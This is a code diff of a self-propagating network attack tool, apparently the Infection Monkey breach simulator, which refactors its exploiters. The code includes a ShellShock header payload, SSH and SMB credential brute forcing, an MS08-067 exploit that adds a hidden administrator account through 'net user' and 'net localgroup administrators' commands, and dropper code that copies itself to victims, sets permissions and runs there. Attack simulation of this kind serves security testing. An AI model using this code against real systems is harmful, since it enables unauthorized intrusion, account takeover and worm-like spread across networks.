return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||
def get_monkey_commandline_file(self, location):
|
||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
||||
|
||||
@staticmethod
|
||||
def is_share_writable(smb_client, share):
|
||||
"""
|
||||
Checks whether the share is writable
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
LOG.debug('Checking %s for write access' % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
return False
|
||||
|
||||
try:
|
||||
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||
writable = True
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
writable = False
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
return writable
|
||||
|
||||
@staticmethod
|
||||
def connect_to_server(ip, credentials):
|
||||
"""
|
||||
Connects to server using given credentials
|
||||
:param ip: IP of server
|
||||
:param credentials: credentials to log in with
|
||||
:return: SMBConnection object representing the connection
|
||||
"""
|
||||
smb_client = SMBConnection(ip, ip)
|
||||
smb_client.login(
|
||||
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
||||
return smb_client
|
||||
|
||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||
@staticmethod
|
||||
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||
|
||||
|
@ -396,7 +399,8 @@ class SambaCryExploiter(HostExploiter):
|
|||
# In our case, str(FileID)
|
||||
return str(createResponse['FileID'])
|
||||
|
||||
def open_pipe(self, smb_client, pathName):
|
||||
@staticmethod
|
||||
def open_pipe(smb_client, pathName):
|
||||
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree('IPC$')
|
||||
|
@ -426,7 +430,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||
else:
|
||||
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
||||
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
||||
shareMode=FILE_SHARE_READ,
|
||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||
fileAttributes=0)
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
|
||||
|
||||
import logging
|
||||
from random import choice
|
||||
import string
|
||||
from tools import build_monkey_commandline
|
||||
from exploit import HostExploiter
|
||||
from model.host import VictimHost
|
||||
from shellshock_resources import CGI_FILES
|
||||
from model import MONKEY_ARG
|
||||
from exploit.tools import get_target_monkey, HTTPTools
|
||||
from random import choice
|
||||
|
||||
import requests
|
||||
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from model import MONKEY_ARG
|
||||
from shellshock_resources import CGI_FILES
|
||||
from tools import build_monkey_commandline
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -20,13 +21,14 @@ DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
|||
|
||||
|
||||
class ShellShockExploiter(HostExploiter):
|
||||
_target_os_type = ['linux']
|
||||
|
||||
_attacks = {
|
||||
"Content-type": "() { :;}; echo; "
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
|
||||
def __init__(self, host):
|
||||
super(ShellShockExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||
self.success_flag = ''.join(
|
||||
|
@ -34,11 +36,10 @@ class ShellShockExploiter(HostExploiter):
|
|||
) for _ in range(20))
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
def exploit_host(self):
|
||||
# start by picking ports
|
||||
candidate_services = {service: host.services[service] for service in host.services if
|
||||
host.services[service]['name'] == 'http'}
|
||||
candidate_services = {service: self.host.services[service] for service in self.host.services if
|
||||
self.host.services[service]['name'] == 'http'}
|
||||
|
||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
|
||||
'tcp-' + str(port) in candidate_services]
|
||||
|
@ -47,65 +48,63 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
LOG.info(
|
||||
'Scanning %s, ports [%s] for vulnerable CGI pages' % (
|
||||
host, ",".join([str(port[0]) for port in valid_ports]))
|
||||
self.host, ",".join([str(port[0]) for port in valid_ports]))
|
||||
)
|
||||
|
||||
attackable_urls = []
|
||||
# now for each port we want to check the entire URL list
|
||||
for port in http_ports:
|
||||
urls = self.check_urls(host.ip_addr, port)
|
||||
urls = self.check_urls(self.host.ip_addr, port)
|
||||
attackable_urls.extend(urls)
|
||||
for port in https_ports:
|
||||
urls = self.check_urls(host.ip_addr, port, is_https=True)
|
||||
urls = self.check_urls(self.host.ip_addr, port, is_https=True)
|
||||
attackable_urls.extend(urls)
|
||||
# now for each URl we want to try and see if it's attackable
|
||||
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
|
||||
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
|
||||
|
||||
# we want to report all vulnerable URLs even if we didn't succeed
|
||||
# let's overload this
|
||||
# TODO: uncomment when server is ready for it
|
||||
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
|
||||
self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
|
||||
|
||||
# now try URLs until we install something on victim
|
||||
for _, url, header, exploit in exploitable_urls:
|
||||
LOG.info("Trying to attack host %s with %s URL" % (host, url))
|
||||
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
|
||||
# same attack script as sshexec
|
||||
# for any failure, quit and don't try other URLs
|
||||
if not host.os.get('type'):
|
||||
if not self.host.os.get('type'):
|
||||
try:
|
||||
uname_os_attack = exploit + '/bin/uname -o'
|
||||
uname_os = self.attack_page(url, header, uname_os_attack)
|
||||
if 'linux' in uname_os:
|
||||
host.os['type'] = 'linux'
|
||||
self.host.os['type'] = 'linux'
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
if not host.os.get('machine'):
|
||||
if not self.host.os.get('machine'):
|
||||
try:
|
||||
uname_machine_attack = exploit + '/bin/uname -m'
|
||||
uname_machine = self.attack_page(url, header, uname_machine_attack)
|
||||
if '' != uname_machine:
|
||||
host.os['machine'] = uname_machine.lower().strip()
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
|
||||
self.host.os['machine'] = uname_machine.lower().strip()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
||||
# copy the monkey
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True # return already infected
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
src_path = src_path or get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
||||
|
@ -133,12 +132,12 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
# run the monkey
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
||||
run_path = exploit + cmdline
|
||||
self.attack_page(url, header, run_path)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux, host, cmdline)
|
||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||
|
||||
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
|
@ -146,6 +145,8 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
@classmethod
|
||||
def check_remote_file_exists(cls, url, header, exploit, file_path):
|
||||
"""
|
||||
|
@ -206,10 +207,3 @@ class ShellShockExploiter(HostExploiter):
|
|||
urls = [resp.url for resp in valid_resps]
|
||||
|
||||
return urls
|
||||
|
||||
@staticmethod
|
||||
def report_vuln_shellshock(host, url):
|
||||
from control import ControlClient
|
||||
ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__,
|
||||
'exploiter': ShellShockExploiter.__name__,
|
||||
'url': url})
|
||||
|
|
|
@ -1,67 +1,52 @@
|
|||
import sys
|
||||
from logging import getLogger
|
||||
from model.host import VictimHost
|
||||
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from exploit import HostExploiter
|
||||
from network.tools import check_port_tcp
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
from network import SMBFinger
|
||||
from tools import build_monkey_commandline, report_failed_login
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
from impacket import uuid
|
||||
# from impacket.dcerpc import dcerpc
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
||||
from impacket.smb import SessionError as SessionError2
|
||||
from impacket.smb3 import SessionError as SessionError3
|
||||
except ImportError as exc:
|
||||
print str(exc)
|
||||
print 'Install the following library to make this script work'
|
||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||
raise
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.smbconnection import SMB_DIALECT
|
||||
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from network import SMBFinger
|
||||
from network.tools import check_port_tcp
|
||||
from tools import build_monkey_commandline
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
||||
class SmbExploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
USE_KERBEROS = False
|
||||
|
||||
def __init__(self):
|
||||
def __init__(self, host):
|
||||
super(SmbExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._guid = __import__('config').GUID
|
||||
|
||||
def is_os_supported(self, host):
|
||||
if host.os.get('type') in self._target_os_type:
|
||||
def is_os_supported(self):
|
||||
if super(SmbExploiter, self).is_os_supported():
|
||||
return True
|
||||
|
||||
if not host.os.get('type'):
|
||||
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
|
||||
if not self.host.os.get('type'):
|
||||
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
|
||||
if is_smb_open:
|
||||
smb_finger = SMBFinger()
|
||||
smb_finger.get_host_fingerprint(host)
|
||||
smb_finger.get_host_fingerprint(self.host)
|
||||
else:
|
||||
is_nb_open, _ = check_port_tcp(host.ip_addr, 139)
|
||||
is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
|
||||
if is_nb_open:
|
||||
host.os['type'] = 'windows'
|
||||
return host.os.get('type') in self._target_os_type
|
||||
self.host.os['type'] = 'windows'
|
||||
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||
return False
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
def exploit_host(self):
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
@ -70,7 +55,7 @@ class SmbExploiter(HostExploiter):
|
|||
for user, password, lm_hash, ntlm_hash in creds:
|
||||
try:
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
remote_full_path = SmbTools.copy_file(self.host,
|
||||
src_path,
|
||||
self._config.dropper_target_path,
|
||||
user,
|
||||
|
@ -81,17 +66,17 @@ class SmbExploiter(HostExploiter):
|
|||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||
host, user, password, lm_hash, ntlm_hash)
|
||||
host.learn_credentials(user, password)
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
exploited = True
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
||||
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
|
||||
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
|
||||
user, password, lm_hash, ntlm_hash, exc)
|
||||
continue
|
||||
|
||||
|
@ -105,10 +90,10 @@ class SmbExploiter(HostExploiter):
|
|||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
|
||||
|
||||
cmdline += build_monkey_commandline(host, depth - 1)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,))
|
||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||
rpctransport.set_dport(port)
|
||||
|
||||
if hasattr(rpctransport, 'preferred_dialect'):
|
||||
|
@ -125,7 +110,7 @@ class SmbExploiter(HostExploiter):
|
|||
scmr_rpc.connect()
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
||||
host, exc)
|
||||
self.host, exc)
|
||||
return False
|
||||
|
||||
smb_conn = rpctransport.get_smb_connection()
|
||||
|
@ -150,6 +135,6 @@ class SmbExploiter(HostExploiter):
|
|||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path, host, cmdline)
|
||||
remote_full_path, self.host, cmdline)
|
||||
|
||||
return True
|
||||
|
|
|
@ -1,13 +1,14 @@
|
|||
import paramiko
|
||||
import logging
|
||||
import time
|
||||
from itertools import product
|
||||
|
||||
import paramiko
|
||||
|
||||
import monkeyfs
|
||||
from tools import build_monkey_commandline, report_failed_login
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from model import MONKEY_ARG
|
||||
from exploit.tools import get_target_monkey
|
||||
from network.tools import check_port_tcp
|
||||
from tools import build_monkey_commandline
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -17,9 +18,10 @@ TRANSFER_UPDATE_RATE = 15
|
|||
|
||||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_target_os_type = ['linux', None]
|
||||
_TARGET_OS_TYPE = ['linux', None]
|
||||
|
||||
def __init__(self):
|
||||
def __init__(self, host):
|
||||
super(SSHExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._update_timestamp = 0
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
@ -29,19 +31,19 @@ class SSHExploiter(HostExploiter):
|
|||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
self._update_timestamp = time.time()
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
def exploit_host(self):
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||
|
||||
port = SSH_PORT
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in host.services.items():
|
||||
for servkey, servdata in self.host.services.items():
|
||||
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
||||
port = int(servkey.replace('tcp-', ''))
|
||||
|
||||
is_open, _ = check_port_tcp(host.ip_addr, port)
|
||||
is_open, _ = check_port_tcp(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
LOG.info("SSH port is closed on %r, skipping", host)
|
||||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
@ -49,63 +51,63 @@ class SSHExploiter(HostExploiter):
|
|||
exploited = False
|
||||
for user, curpass in user_password_pairs:
|
||||
try:
|
||||
ssh.connect(host.ip_addr,
|
||||
ssh.connect(self.host.ip_addr,
|
||||
username=user,
|
||||
password=curpass,
|
||||
port=port,
|
||||
timeout=None)
|
||||
|
||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||
host, user, curpass)
|
||||
host.learn_credentials(user, curpass)
|
||||
self.host, user, curpass)
|
||||
self.report_login_attempt(True, user, curpass)
|
||||
exploited = True
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, curpass, exc)
|
||||
report_failed_login(self, host, user, curpass)
|
||||
self.report_login_attempt(False, user, curpass)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||
return False
|
||||
|
||||
if not host.os.get('type'):
|
||||
if not self.host.os.get('type'):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command('uname -o')
|
||||
uname_os = stdout.read().lower().strip()
|
||||
if 'linux' in uname_os:
|
||||
host.os['type'] = 'linux'
|
||||
self.host.os['type'] = 'linux'
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
||||
if not host.os.get('machine'):
|
||||
if not self.host.os.get('machine'):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command('uname -m')
|
||||
uname_machine = stdout.read().lower().strip()
|
||||
if '' != uname_machine:
|
||||
host.os['machine'] = uname_machine
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
|
||||
self.host.os['machine'] = uname_machine
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
|
||||
|
||||
if self.skip_exist:
|
||||
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
|
||||
stdout_res = stdout.read().strip()
|
||||
if stdout_res:
|
||||
# file exists
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True # return already infected
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -115,25 +117,25 @@ class SSHExploiter(HostExploiter):
|
|||
with monkeyfs.open(src_path) as file_obj:
|
||||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0777)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
|
||||
ftp.close()
|
||||
except Exception, exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
||||
try:
|
||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(host, depth-1)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
cmdline += "&"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux, host, cmdline)
|
||||
|
||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||
|
||||
ssh.close()
|
||||
return True
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
|
|
@ -469,21 +469,13 @@ def build_monkey_commandline(target_host, depth, location=None):
|
|||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
|
||||
from control import ControlClient
|
||||
telemetry_dict = \
|
||||
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
|
||||
'user': user, 'password': password}
|
||||
if lm_hash:
|
||||
telemetry_dict['lm_hash'] = lm_hash
|
||||
if ntlm_hash:
|
||||
telemetry_dict['ntlm_hash'] = ntlm_hash
|
||||
|
||||
ControlClient.send_telemetry('exploit', telemetry_dict)
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
if getattr(sys, 'frozen', False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
|
|
@ -6,36 +6,21 @@
|
|||
# Email: d3basis.m0hanty @ gmail.com
|
||||
#############################################################################
|
||||
|
||||
import sys
|
||||
import time
|
||||
import socket
|
||||
import time
|
||||
from logging import getLogger
|
||||
|
||||
from enum import IntEnum
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from model.host import VictimHost
|
||||
from network import SMBFinger
|
||||
from network.tools import check_port_tcp
|
||||
from tools import build_monkey_commandline
|
||||
from . import HostExploiter
|
||||
|
||||
try:
|
||||
from impacket import smb
|
||||
from impacket import uuid
|
||||
# from impacket.dcerpc import dcerpc
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.smbconnection import SessionError as SessionError1
|
||||
from impacket.smb import SessionError as SessionError2
|
||||
from impacket.smb3 import SessionError as SessionError3
|
||||
except ImportError as exc:
|
||||
print str(exc)
|
||||
print 'Install the following library to make this script work'
|
||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||
sys.exit(1)
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||
|
@ -167,59 +152,59 @@ class SRVSVC_Exploit(object):
|
|||
|
||||
|
||||
class Ms08_067_Exploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
||||
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
|
||||
|
||||
def __init__(self):
|
||||
def __init__(self, host):
|
||||
super(Ms08_067_Exploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._guid = __import__('config').GUID
|
||||
|
||||
def is_os_supported(self, host):
|
||||
if host.os.get('type') in self._target_os_type and \
|
||||
host.os.get('version') in self._windows_versions.keys():
|
||||
def is_os_supported(self):
|
||||
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||
self.host.os.get('version') in self._windows_versions.keys():
|
||||
return True
|
||||
|
||||
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
|
||||
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
|
||||
if not self.host.os.get('type') or (
|
||||
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
|
||||
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
|
||||
if is_smb_open:
|
||||
smb_finger = SMBFinger()
|
||||
if smb_finger.get_host_fingerprint(host):
|
||||
return host.os.get('type') in self._target_os_type and \
|
||||
host.os.get('version') in self._windows_versions.keys()
|
||||
if smb_finger.get_host_fingerprint(self.host):
|
||||
return self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||
self.host.os.get('version') in self._windows_versions.keys()
|
||||
return False
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
def exploit_host(self):
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
|
||||
os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
|
||||
|
||||
exploited = False
|
||||
for _ in range(self._config.ms08_067_exploit_attempts):
|
||||
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
|
||||
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
|
||||
|
||||
try:
|
||||
sock = exploit.start()
|
||||
|
||||
sock.send("cmd /c (net user %s %s /add) &&"
|
||||
" (net localgroup administrators %s /add)\r\n" % \
|
||||
" (net localgroup administrators %s /add)\r\n" %
|
||||
(self._config.ms08_067_remote_user_add,
|
||||
self._config.ms08_067_remote_user_pass,
|
||||
self._config.ms08_067_remote_user_add))
|
||||
time.sleep(2)
|
||||
reply = sock.recv(1000)
|
||||
|
||||
LOG.debug("Exploited into %r using MS08-067", host)
|
||||
LOG.debug("Exploited into %r using MS08-067", self.host)
|
||||
exploited = True
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
||||
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
|
@ -227,7 +212,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
remote_full_path = SmbTools.copy_file(self.host,
|
||||
src_path,
|
||||
self._config.dropper_target_path,
|
||||
self._config.ms08_067_remote_user_add,
|
||||
|
@ -236,7 +221,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
if not remote_full_path:
|
||||
# try other passwords for administrator
|
||||
for password in self._config.exploit_password_list:
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
remote_full_path = SmbTools.copy_file(self.host,
|
||||
src_path,
|
||||
self._config.dropper_target_path,
|
||||
"Administrator",
|
||||
|
@ -250,16 +235,16 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
